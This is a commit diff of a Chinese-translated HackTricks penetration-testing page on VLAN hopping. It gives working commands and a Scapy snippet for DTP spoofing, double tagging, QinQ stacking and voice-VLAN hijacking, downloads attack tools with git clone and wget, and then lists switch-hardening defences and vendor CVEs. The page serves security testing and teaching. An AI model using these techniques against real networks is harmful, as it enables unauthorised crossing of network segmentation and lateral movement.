Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:38:27 +00:00
parent 9a336bfecd
commit 9af5b48cb1

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
如果可以直接访问交换机则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式为目标VLAN建立虚拟接口设置IP地址具体取决于场景可以是动态DHCP或静态的**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
如果可以直接访问交换机则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式为目标VLAN建立虚拟接口根据场景设置IP地址动态DHCP或静态**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
最初需要识别特定的连接端口。这通常可以通过CDP消息完成或通过**include**掩码搜索端口。
**如果CDP无法操作可以尝试通过搜索MAC地址进行端口识别**
**如果CDP未运行可以尝试通过搜索MAC地址进行端口识别**
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如正在使用的端口与 VLAN 10 相关联。
在切换到干线模式之前应编制现有VLAN的列表并确定它们的标识符。然后将这些标识符分配给接口从而通过干线访问各种VLAN。例如正在使用的端口与VLAN 10相关联。
```
SW1# show vlan brief
```
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
然后创建虚拟接口,分配 VLAN ID并激活
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
随后通过DHCP发出地址请求。或者在DHCP不可行的情况下可以手动配置地址
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
在接口上手动设置静态IP地址的示例VLAN 10
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。
@ -52,31 +62,38 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
## 其他VLAN跳跃技术无特权交换机CLI
一种方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动
面的方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动
### 1. 使用动态干协议DTP进行交换机欺骗
### 1. 使用动态干线协议DTP进行交换机欺骗
保持DTP启用的Cisco交换机会乐于协商干道如果对端声称是交换机。制作一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。
启用DTP的Cisco交换机会乐于协商干线如果对端声称是交换机。构造一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干线,承载*所有*允许的VLAN。
*Yersinia*和几个PoC自动化了这个过程
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
一旦端口切换到干道模式您可以创建802.1Q子接口并按照上一节所示进行转移。现代Linux内核不再需要*vconfig*;而是使用*ip link*
侦察助手(被动指纹识别端口的 DTP 状态)
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. 双标记(原生 VLAN 滥用)
如果攻击者位于 **原生未标记VLAN**,则带有 *两个* 802.1Q 头的构造帧可以在端口被锁定为接入模式时“跳跃”到第二个 VLAN。 工具如 **VLANPWN DoubleTagging.py** (2022-2024 更新) 自动化了注入:
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
一旦端口切换到 trunk您可以创建 802.1Q 子接口,并按照上一节所示进行 pivot。
### 2. 双重标记 (Native-VLAN 滥用)
如果攻击者位于 **native (untagged) VLAN**,则带有 *两个* 802.1Q 头的构造帧可以跳转到第二个 VLAN即使端口被锁定在接入模式。 工具如 **VLANPWN DoubleTagging.py** (2022-2025 刷新) 自动化了注入:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
数据包逐步分析:
1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。
2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。
### 3. QinQ (802.1ad) Stacking
该技术在 2025 年仍然有效,适用于将本地 VLAN 保持为默认并接受未标记帧的网络。
### 3. QinQ (802.1ad) 堆叠
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太类型 0x88a8并尝试使用 Scapy 弹出外部标签:
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意的 802.1Q 标记流量,以跨越安全区域。捕获以 ethertype `0x88a8` 并尝试使用 Scapy 弹出外部标签:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. 通过 LLDP/CDP 进行 Voice-VLAN 劫持 (IP-电话欺骗)
企业接入端口通常采用 *“接入 + 语音”* 配置:未标记的数据 VLAN 用于工作站,标记的语音 VLAN 通过 CDP 或 LLDP-MED 广播。通过冒充 IP 电话,攻击者可以自动发现并跳入 VoIP VLAN——即使 DTP 被禁用。
*VoIP Hopper* (打包在 Kali 2025.2 中) 支持 CDP、DHCP 选项 **176/242** 和完整的 LLDP-MED 欺骗:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
该技术绕过了数据/语音分离并且在2025年的企业边缘交换机上极为常见因为许多型号默认启用了LLDP自动策略。
---
## 防御建议
1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`
2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`
3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`
4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的第二层活动。
5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。
1. 在所有面向用户的端口上禁用DTP`switchport mode access` + `switchport nonegotiate`
2. 将每个干线的本地VLAN更改为**未使用的黑洞VLAN**并标记:`vlan dot1q tag native`
3. 在干线上修剪不必要的VLAN`switchport trunk allowed vlan 10,20`
4. 强制实施端口安全、DHCP嗅探、动态ARP检查**和802.1X**以限制恶意的二层活动。
5. 如果不需要IP电话欺骗请禁用LLDP-MED自动语音策略或将其锁定到经过身份验证的MAC OUI
6. 优先使用私有VLAN或L3分段而不是仅依赖802.1Q分离。
---
## 现实世界的供应商漏洞2022-2024
即使是完美加固的交换机配置也可能被固件错误破坏。最近的例子包括:
* **CVE-2022-20728† Cisco Aironet/Catalyst接入点**允许从本地VLAN注入到非本地WLAN VLAN绕过有线/无线分段。
* **CVE-2024-20465 (Cisco IOS工业Ethernet)**允许在切换弹性以太网协议后在SVI上绕过ACL泄漏VRF/VLAN之间的流量。补丁17.9.5或更高版本。
始终监控供应商关于VLAN相关绕过/ACL问题的建议并保持基础设施映像的最新。
---
## 参考文献
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN 攻击工具包 <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "什么是 VLAN 跳跃?" (2024年8月) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VLANPWN攻击工具包 <https://github.com/casterbytethrowback/VLANPWN>
- Twingate “什么是VLAN跳跃2024年8月 <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper项目 <https://github.com/hmgh0st/voiphopper>
- Cisco建议 “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}